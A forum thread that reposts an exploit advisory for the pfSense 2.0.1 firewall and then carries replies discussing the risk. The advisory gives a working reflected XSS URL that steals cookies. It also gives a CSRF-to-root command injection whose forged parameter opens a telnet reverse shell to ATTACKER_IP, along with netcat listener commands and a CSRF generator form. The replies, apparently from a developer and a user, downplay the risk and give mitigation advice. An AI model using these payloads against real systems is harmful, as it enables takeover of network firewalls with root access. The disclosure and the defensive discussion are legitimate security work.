Exploit: pfSense 2.0.1 XSS & CSRF Remote root Access
-
###################################################################### # Exploit Title: pfSense 2.0.1 XSS & CSRF Remote root Access # Date: 04/01/2013 # Author: Yann CAM @ Synetis # Vendor or Software Link: www.pfsense.org # Version: 2.0.1 # Category: XSS & CSRF Remote root Access # Google dork: # Tested on: FreeBSD ###################################################################### pfSense firewall/router distribution description : ====================================================================== pfSense is a free, open source customized distribution of FreeBSD tailored for use as a firewall and router. In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution. pfSense is a popular project with more than 1 million downloads since its inception, and proven in countless installations ranging from small home networks protecting a PC and an Xbox to large corporations, universities and other organizations protecting thousands of network devices. This project started in 2004 as a fork of the m0n0wall project, but focused towards full PC installations rather than the embedded hardware focus of m0n0wall. pfSense also offers an embedded image for Compact Flash based installations, however it is not our primary focus. In version 2.0.1 of the distribution, differents vulnerabilities XSS & CSRF RCE reverse root shell can be used. It is strongly advised to update to version 2.0.2 available now. Proof of Concept 1 : ====================================================================== Potential XSS protected with CSRFMagic with information disclosure : File /usr/local/www/progress.php lines 21-30 : $X = upload_progress_meter_get_info( $_GET["UPLOAD_IDENTIFIER"] ); if (!$X) { if ( array_key_exists( "e", $_GET ) ) { echo "" . gettext("Invalid Meter ID") . "! {$_GET["UPLOAD_IDENTIFIER"]}"; echo (''); }else{ echo (''); } exit; Result with a direct call to this page : Fatal error: Call to undefined function upload_progress_meter_get_info() in /usr/local/www/progress.php on line 21 Proof of Concept 2 : ====================================================================== XSS non-persistent : File /usr/local/www/pkg_mgr_install.php line 166 : update_output_window(sprintf(gettext("Could not find %s."), $_GET['pkg'])); PoC : http://pfsense_url/pkg_mgr_install.php?mode=installedinfo&pkg=x%22;alert(document.cookie);this.document.forms[0].output.value+=%22 Proof of Concept 3 : ====================================================================== CSRF exploit to Remote Command Execution in root context : File /usr/local/www/system_firware.php line 118 (because this script isn't protected with CSRFMagic) : if($_POST['kerneltype']) { if($_POST['kerneltype'] == "single") system("touch /boot/kernel/pfsense_kernel.txt"); else system("echo {$_POST['kerneltype']} > /boot/kernel/pfsense_kernel.txt"); // vulnerability here } It's the more dangerous vulnerability. By this way, it's possible to an attacker to gain a full interactive reverse shell through a CSRF attack. Default valid command : echo SMP > /boot/kernel/pfsense_kernel.txt Forged $_POST['kerneltype'] variable for RCE command to generate : SMP > /boot/kernel/pfsense_kernel.txt;telnet ATTACKER_IP 1337 | /bin/sh | telnet ATTACKER_IP 1338 Attacker need to put two netcat in listen mode on his computer : nc -l -vv -p 1337 # to send command nc -l -vv -p 1338 # to read results You can see this exploitation in this demonstration video just made as proof of concept here: http://www.youtube.com/watch?feature=player_embedded&v=qnmalMrrUF4 CSRF generator to Reverse root shell : ## CSRF pfSense 2.0.1 to root RCE (reverse shell) pfSense 2.0.1, the latest firewall/router distribution based on FreeBSD is vulnerable to a CSRF attack that allows gaining root access through a reverse shell. The attacker must know the URL address of pfsense WebGui. To obtain the reverseshell, attacker must place two netcat in listening mode on two different ports. One will be used to send commands and the other for receiving results. On attacker machine :
nc -l -vv -p 1337 # First netcat listener, to enter shell command.
``` nc -l -vv -p 1338 # Second netcat listener, to receive commands results.
(admin hash is in the /config/config.xml file on pfSense)
<form action="" onsubmit="generateCSRF();return false;">
| URL's pfSense 2.0.1 Targeted : |
|
| Attacker IP (reverse shell) : |
|
| Attacker binded port to send commands : |
|
| Attacker binded port to read results : |
|
CSRF exploit to send to an admin : |
|</form>
-
It's not as bad as they make it out to be.
It was fixed before 2.0.2, it was one of the reasons we made 2.0.2.
It requires a few things to happen.
1. The admin must be logged into the GUI at the time.
2. The admin has to somehow manually trigger the exploit code (social engineering, some other hack, etc)
3. The admin must load the exploit html in the same browser he's using the login to the firewall GUIIn reality, I doubt it would be practically exploited, unless the admin was seriously asleep at the wheel and just clicks any html attachment that gets sent to them, and uses their system's default browser to admin the GUI and stays logged into the GUI all the time.
So aside from upgrading to 2.0.2, some practical advice:
1. Log out of the GUI when you're done.
2. Don't use your OS default browser to admin the firewall.
3. Don't do any other browsing in the same browser window while logged into the firewall.It sounds much worse than it actually is in practice. It's not like it's a readily exploitable remote root that requires no intervention from anyone.
-
So aside from upgrading to 2.0.2, some practical advice:
1. Log out of the GUI when you're done.
2. Don't use your OS default browser to admin the firewall.
3. Don't do any other browsing in the same browser window while logged into the firewall.I do have a browser I only use to log on to the Web GUI to check my logs, and always log out and close the browser right after I'm done, but have on occasion opened a new window to an online tools site I use to resolve IP#'s that appear in the firewall logs while logged in.
I knew there was a reason I felt uneasy when I didn't open a separate browser to check those IP#'s. ::)
-
I do have a browser I only use to log on to the Web GUI to check my logs, and always log out and close the browser right after I'm done, but have on occasion opened a new window to an online tools site I use to resolve IP#'s that appear in the firewall logs while logged in.
I knew there was a reason I felt uneasy when I didn't open a separate browser to check those IP#'s. ::)
You're reasonably safe with us if you stay up to date. Other web-managed products, unfortunately not so much. There are a number of commercial security-related products with serious unpatched CSRF and XSS issues. It would be safest to assume every web-managed device has CSRF and XSS issues and act accordingly, primarily use a different browser than one you use for any general Internet usage. These recommendations from 2008 still stand true today.
http://blog.pfsense.org/?p=232